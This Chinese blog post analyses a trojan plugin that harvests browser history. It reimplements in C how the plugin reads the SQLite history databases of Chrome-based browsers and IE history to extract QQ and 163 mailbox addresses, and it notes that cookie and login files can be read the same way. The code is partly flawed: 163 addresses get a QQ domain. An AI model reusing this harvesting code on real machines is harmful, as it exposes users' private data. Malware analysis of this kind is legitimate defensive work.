收集用户隐私的木马插件分析:第二部分
上一部分介绍隐私收集插件收集用户电脑的网卡信息以及敏感文件信息,这部分介绍该插件收集用户浏览器的浏览历史信息,主要通过遍历chrome内核浏览器和IE浏览器历史收集用户的qq邮箱和163邮箱信息。
该插件一共收集了5款主流的chrome内核浏览器,包括谷歌浏览器、360浏览器、qq浏览器、猎豹浏览器和世界之窗浏览器。这5款浏览器共同特点是都使用了chrome内核,所以浏览器历史记录的信息都存放在具有相同格式的数据库文件中,所以该插件做的就是指定这5款浏览器历史数据库文件的路径去解析用户的上网历史,从而获得敏感信息。
首先,介绍这5款浏览器的历史数据库文件存放的位置,以谷歌浏览器为例:
#include <Shlobj.h>
#pragma comment(lib, "Shell32.lib")
char buf_path[MAX_PATH] = {0};
SHGetSpecialFolderPathA(NULL, buf_path, CSIDL_LOCAL_APPDATA, 0);
wsprintf(buf_path, "%s\\google\\chrome\\User Data\\default\\history", buf_path);
//For example: C:\Documents and Settings\Administrator\Local Settings\Application Data\google\chrome\User Data\default\history
if (PathFileExistsA(buf_path))
{
//parse db record
}
其他4款浏览器对应的历史数据文件:
//360安全浏览器(360se6)
GetEnvironmentVariableA("APPDATA", buf_path, MAX_PATH);
wsprintf(buf_path, "%s\\360se6\\User Data\\Default\\History", buf_path);
//QQ浏览器
SHGetSpecialFolderPathA(NULL, buf_path, CSIDL_LOCAL_APPDATA, 0);
wsprintf(buf_path, "%s\\Tencent\\QQBrowser\\User Data\\Default\\History", buf_path);
//猎豹
SHGetSpecialFolderPathA(NULL, buf_path, CSIDL_LOCAL_APPDATA, 0);
wsprintf(buf_path, "%s\\liebao\\User Data\\Default\\History", buf_path);
//世界之窗
SHGetSpecialFolderPathA(NULL, buf_path, CSIDL_LOCAL_APPDATA, 0);
wsprintf(buf_path, "%s\\theworld6\\User Data\\Default\\History", buf_path);
注意到360安全浏览器比较特别一点,存放目录与其他四款不太相同,位于appdata目录下;另外,360的另外一款极速浏览器也使用了chrome内核,其对应的历史数据库文件位置在:
SHGetSpecialFolderPathA(NULL, buf_path, CSIDL_LOCAL_APPDATA, 0);
wsprintf(buf_path, "%s\\360Chrome\\Chrome\\User Data\\Default\\History", buf_path);
接着,介绍这个历史数据库文件格式,它使用的是轻便型数据库sqlite3,整个文件即是一个数据库,里面存放各种数据表记录。如果稍微看一下chrome内核安装目录的话,会发现里面的很多数据文件其实都使用的是这种数据库格式,如cookie、登录数据表单等都有其对应的数据库文件,只要拿到这些文件,并使用sqlite数据库查看工具解析,就能获取用户敏感的隐私信息,如:
这个是浏览器在给我们提供登录便利的同时,留下的巨大的数据安全隐患,令人不寒而栗。然后,回到插件解析的用户浏览历史的那个数据库文件,先看一下如何解析sqlite3数据库:
#include "sqlite3.h"
sqlite3 *db = 0;
int ret = sqlite3_open(buf_path, &db);
if(ret == SQLITE_OK)
{
char *errmsg = NULL;
ret = sqlite3_exec(db, "select url,last_visit_time,title from urls", callbackGetUrlMail, NULL, &errmsg);
sqlite3_close(db);
}
这里,我在网上找了份开源的解析代码(见附件),只要引入sqlite3头文件即可使用如上函数接口,执行查询语句查询urls这张表的信息:
既然这张表能查看用户历史浏览的信息,那么插件就可以通过遍历该表的记录来筛选它关心的信息,其功能通过以下这个回调函数实现:
int callbackGetUrlMail(void *para, int n_column, char **column_value, char **column_name)
{
for(int i=0; i<n_column; i++)
{
if (strcmp(column_name[i], "url") == 0)
{
get_url_mail_address(column_value[i]);
}
}
return 0;
}
void get_url_mail_address(char *url)
{
if(strstr(url, "mail.163"))
{
char *lpPos = strstr(url, "uid=");
char lp163Mail[MAX_PATH] = {0};
if (lpPos != NULL)
{
lpPos += 4;
int len = strlen(url) - (lpPos - url);
for (int j=0; j<len; j++)
{
if (lpPos[j] == '&')
{
memcpy(lp163Mail, lpPos, j);
break;
}
}
sprintf(lp163Mail, "%s@qq.com", lp163Mail);
printf("%s\n", lp163Mail);
}
}
if(strstr(url, "mail.qq"))
{
char *lpPos = strstr(url, "uin=");
char lpQQMail[MAX_PATH] = {0};
if (lpPos != NULL)
{
lpPos += 4;
int len = strlen(url) - (lpPos - url);
for (int j=0; j<len; j++)
{
if (lpPos[j] == '&')
{
memcpy(lpQQMail, lpPos, j);
break;
}
}
sprintf(lpQQMail, "%s@qq.com", lpQQMail);
printf("%s\n", lpQQMail);
}
}
/*if(strstr(url, "password=") || strstr(url, "passwd=") || strstr(url, "pwd="))
{
printf("%s\n", url);
}*/
}
主要就是遍历这张表每条记录的url字段,看其是否包含163或者qq邮箱,并将其取出的过程。
看样子,此款插件收集的信息还是挺有针对性的,并不是所有敏感信息统统吃掉,但即便如此,我们更需要担忧,可以猜测其目的是希望通过这些收集的敏感信息能快速对应到特定的人。本部分到此结束,下一部分将会介绍IE浏览器的历史浏览信息收集。
下面介绍IE浏览器的历史浏览信息收集,主要思路是通过COM对象创建一个IUrlHistoryStg实例,并遍历其中的url,最后进行过滤取邮箱地址:
#include <UrlHist.h>
#pragma comment(lib, "Ole32.lib")
void get_ie_his()
{
HRESULT hr = CoInitialize(NULL);
if(SUCCEEDED(hr))
{
IUrlHistoryStg *pHistory;
IEnumSTATURL *pEnum;
if(FAILED(CoCreateInstance(CLSID_CUrlHistory, NULL,
CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER | CLSCTX_LOCAL_SERVER | CLSCTX_REMOTE_SERVER,
IID_IUrlHistoryStg, (void**)&pHistory)))
{
return;
}
if(FAILED(pHistory->EnumUrls(&pEnum)))
{
return;
}
STATURL stUrl;
ULONG uFetched;
while(SUCCEEDED(pEnum->Next(1, &stUrl, &uFetched)))
{
if(uFetched == 0)
{
break;
}
char lpUrl[0x100] = {0};
WideCharToMultiByte(0, 0, stUrl.pwcsUrl, wcslen(stUrl.pwcsUrl), lpUrl, 0x100, 0, 0);
if (strstr(lpUrl, "http") || strstr(lpUrl, "https"))
{
get_url_mail_address(lpUrl);
}
/*else
{
printf("%s\n", lpUrl);
}*/
}
pHistory->Release();
CoUninitialize();
}
}
OK,好吧,其实也不难,很古老的代码,只不过不是很常见而已,本部分至此结束。
目前没有反馈
表单载入中...